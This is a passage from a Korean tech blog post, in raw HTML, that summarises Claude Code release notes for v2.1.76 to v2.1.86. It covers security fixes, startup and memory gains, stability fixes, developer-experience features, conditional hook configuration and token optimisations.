&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP read/search 도구 출력 접기 &amp;mdash; &quot;Queried {server}&quot; 한 줄로 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP OAuth CIMD(SEP-991) 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 수정 (중요)&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.76&lt;/b&gt;: .gitignore 디렉토리(node_modules 등)에서 스킬 로드 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.76&lt;/b&gt;: .mcp.json 첫 실행 시 서버별 승인 대화상자 정상 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.78&lt;/b&gt;: sandbox 의존성 미설치 시 &quot;조용히 unsandboxed&quot; &amp;rarr; 시작 경고 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.78&lt;/b&gt;: &lt;code&gt;deny&lt;/code&gt; 권한 규칙이 MCP 도구에도 정상 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 14 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;14. 성능 &amp;amp; 안정성 &amp;mdash; 긴 세션의 고질병 해결&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 8개 릴리스에서 성능 개선이 가장 많았다. 특히 &lt;b&gt;--resume(세션 재개)&lt;/b&gt;과 &lt;b&gt;시작 속도&lt;/b&gt;가 대폭 개선되었다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 &amp;amp; 시작 속도&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;개선&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.77&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--resume&lt;/code&gt; 최대 &lt;b&gt;45% 빨라짐&lt;/b&gt;, ~100-150MB 메모리 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.79&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시작 시 메모리 &lt;b&gt;-18MB&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.80&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;250k 파일 리포에서 시작 시 &lt;b&gt;-80MB&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--resume&lt;/code&gt; 메모리 + 시작 지연 추가 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시작 &lt;b&gt;+30ms&lt;/b&gt; 빨라짐 (setup 병렬화), MCP 서버 연결 대기 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--bare -p&lt;/code&gt; API 요청까지 &lt;b&gt;14% 빨라짐&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;합산하면, 대규모 리포에서 시작 메모리가 &lt;b&gt;~100MB 이상 절감&lt;/b&gt;되었고, --resume은 최대 45% 빨라지면서 ~100-150MB 피크 메모리가 줄었다 (v2.1.77 기준, 포크가 많거나 매우 큰 세션에서).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;안정성 수정 (하이라이트)&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: 유휴 시 화면 깜빡임 수정 &amp;mdash; 손을 뗐을 때 공백이 보이던 문제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: 대용량 파일 diff 시 무한 행이 걸리던 문제 &amp;rarr; &lt;b&gt;5초 타임아웃 후 폴백&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: 음성 모드 시작 시 1~8초 UI 멈춤 &amp;rarr; 오디오 모듈 지연 로딩&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;: Partial clone 리포(Scalar/GVFS)에서 대량 blob 다운로드 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;: CJK IME 입력이 터미널 커서와 동기화 &amp;mdash; 한국어/일본어/중국어 입력 개선&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.77&lt;/b&gt;: 자동 업데이터가 슬래시 오버레이에서 중복 다운로드 &amp;rarr; &lt;b&gt;수십 GB 메모리 누수 수정&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 15 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;15. 개발자 경험(DX) &amp;mdash; 작은 것들이 모여 큰 차이&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRGIkf/dJMcafF3Vc5/2PZv3Jc4mzyclQKhg3KBi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRGIkf/dJMcafF3Vc5/2PZv3Jc4mzyclQKhg3KBi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRGIkf/dJMcafF3Vc5/2PZv3Jc4mzyclQKhg3KBi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRGIkf%2FdJMcafF3Vc5%2F2PZv3Jc4mzyclQKhg3KBi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1084&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;입력 자동 복원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답 전 중단 시 입력이 사라지지 않고 복원되어 바로 수정 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/status 실시간&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답 중에도 &lt;code&gt;/status&lt;/code&gt; 실행 가능 (이전: 턴 끝까지 대기)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;--bare 플래그&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;훅, LSP, 플러그인, 스킬 탐색 모두 스킵. SDK 스크립팅용 최소 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라인별 스트리밍&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.78&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답 텍스트가 생성되는 대로 라인 단위로 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 토큰 한도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.77&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기본 출력 64k, 상한 128k 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Rate limit UI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.80&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;상태바에 사용량 퍼센트 + 리셋 시간 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PowerShell (Preview)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Windows에서 Bash 대신 PowerShell 사용 가능 (opt-in)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Ctrl+X Ctrl+E&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;외부 에디터 열기 (readline 네이티브 바인딩)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이미지 칩&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;붙여넣은 이미지에 &lt;code&gt;[Image #N]&lt;/code&gt; 칩이 커서 위치에 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;VSCode 주요 변경&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.79&lt;/b&gt;: &lt;code&gt;/remote-control&lt;/code&gt; &amp;mdash; 세션을 claude.ai/code로 브릿지하여 브라우저/폰에서 이어서 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;: Rate limit 경고 배너 (사용량 퍼센트 + 리셋 시간)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: Esc 두 번 &amp;rarr; 되감기 피커 (keyboard-navigable rewind)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 16 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;16. 훅 진화 2.0 &amp;mdash; 조건부 실행과 headless 통합 (v2.1.85~87)&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSgztU/dJMcafF3Wnm/ow1MH64KapqMuxA26zGopk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSgztU/dJMcafF3Wnm/ow1MH64KapqMuxA26zGopk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSgztU/dJMcafF3Wnm/ow1MH64KapqMuxA26zGopk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSgztU%2FdJMcafF3Wnm%2Fow1MH64KapqMuxA26zGopk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2016&quot; height=&quot;1096&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.85는 훅 시스템에 두 가지 중요한 기능을 추가했다. 하나는 훅이 언제 실행될지를 제어하는 &lt;b&gt;조건부 &lt;code&gt;if&lt;/code&gt; 필드&lt;/b&gt;, 다른 하나는 headless 환경에서 사용자 입력을 처리하는 &lt;b&gt;&lt;code&gt;updatedInput&lt;/code&gt; 지원&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;조건부 훅 실행 &amp;mdash; if 필드&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// settings.json &amp;mdash; if 필드로 git 명령에만 훅 실행
{
  &quot;hooks&quot;: {
    &quot;PreToolUse&quot;: [{
      &quot;if&quot;: &quot;Bash(git *)&quot;,
      &quot;type&quot;: &quot;command&quot;,
      &quot;command&quot;: &quot;echo 'git 명령 감지됨'&quot;
    }]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;훅 &lt;code&gt;if&lt;/code&gt; 필드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;permission rule 문법(예: &lt;code&gt;Bash(git *)&lt;/code&gt;)으로 훅 실행 조건 필터링. 불필요한 프로세스 spawning 오버헤드 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PreToolUse &lt;code&gt;updatedInput&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse 훅이 &lt;code&gt;AskUserQuestion&lt;/code&gt;에 응답할 때 &lt;code&gt;updatedInput&lt;/code&gt;과 &lt;code&gt;permissionDecision: &quot;allow&quot;&lt;/code&gt;를 함께 반환하면 headless 통합 가능. 커스텀 UI로 사용자 입력 수집 후 Claude에 전달하는 자동화 파이프라인 구축 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트랜스크립트 타임스탬프&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/loop&lt;/code&gt; 또는 &lt;code&gt;CronCreate&lt;/code&gt;로 예약된 태스크 실행 시 트랜스크립트에 타임스탬프 마커 자동 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP headersHelper 환경변수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_MCP_SERVER_NAME&lt;/code&gt;, &lt;code&gt;CLAUDE_CODE_MCP_SERVER_URL&lt;/code&gt; 추가 &amp;mdash; 하나의 headersHelper 스크립트로 여러 MCP 서버 처리 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에는 훅이 모든 도구 실행에 반응해서 불필요한 프로세스를 spawning했다. 이제 &lt;code&gt;if: &quot;Bash(git *)&quot;&lt;/code&gt;처럼 특정 명령에만 반응하도록 제한하면 대규모 프로젝트에서 성능 차이가 체감된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 17 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;17. 성능 &amp;amp; DX &amp;mdash; 스크롤 엔진 교체, Read 최적화, 스킬 UX&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEucNJ/dJMcagZfqCv/BzlPMHTGb2NUEGmWXQ4zVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEucNJ/dJMcagZfqCv/BzlPMHTGb2NUEGmWXQ4zVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEucNJ/dJMcagZfqCv/BzlPMHTGb2NUEGmWXQ4zVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEucNJ%2FdJMcagZfqCv%2FBzlPMHTGb2NUEGmWXQ4zVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1090&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.85~87에서 체감 성능에 직접적인 영향을 주는 개선이 다수 이루어졌다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스크롤 엔진 교체 (v2.1.85)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널 레이아웃 엔진을 &lt;b&gt;WASM 기반 yoga-layout&lt;/b&gt;에서 &lt;b&gt;순수 TypeScript 구현&lt;/b&gt;으로 교체했다. 대용량 트랜스크립트에서 스크롤 성능이 크게 향상되고, 컴팩션 발생 시 UI 끊김도 줄었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;개선 항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;효과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;스크롤 엔진 교체&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;WASM yoga-layout &amp;rarr; TypeScript 구현. 대용량 트랜스크립트 스크롤 성능 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Read 도구 토큰 최적화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;compact 행번호 형식 사용 + 변경 없는 재읽기 중복 제거 &amp;rarr; 토큰 사용량 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;@ 파일 멘션 토큰 절감&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;@파일명&lt;/code&gt; 멘션 시 원본 문자열을 JSON 이스케이프하지 않음 &amp;rarr; 토큰 오버헤드 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Bedrock/Vertex/Foundry 캐시 개선&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;도구 설명에서 동적 콘텐츠 제거 &amp;rarr; 프롬프트 캐시 적중률 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP 커넥터 시작 최적화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;macOS Keychain 캐시 5초 &amp;rarr; 30초 확장 &amp;mdash; claude.ai MCP 커넥터 多 설정 시 시작 이벤트 루프 지연 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
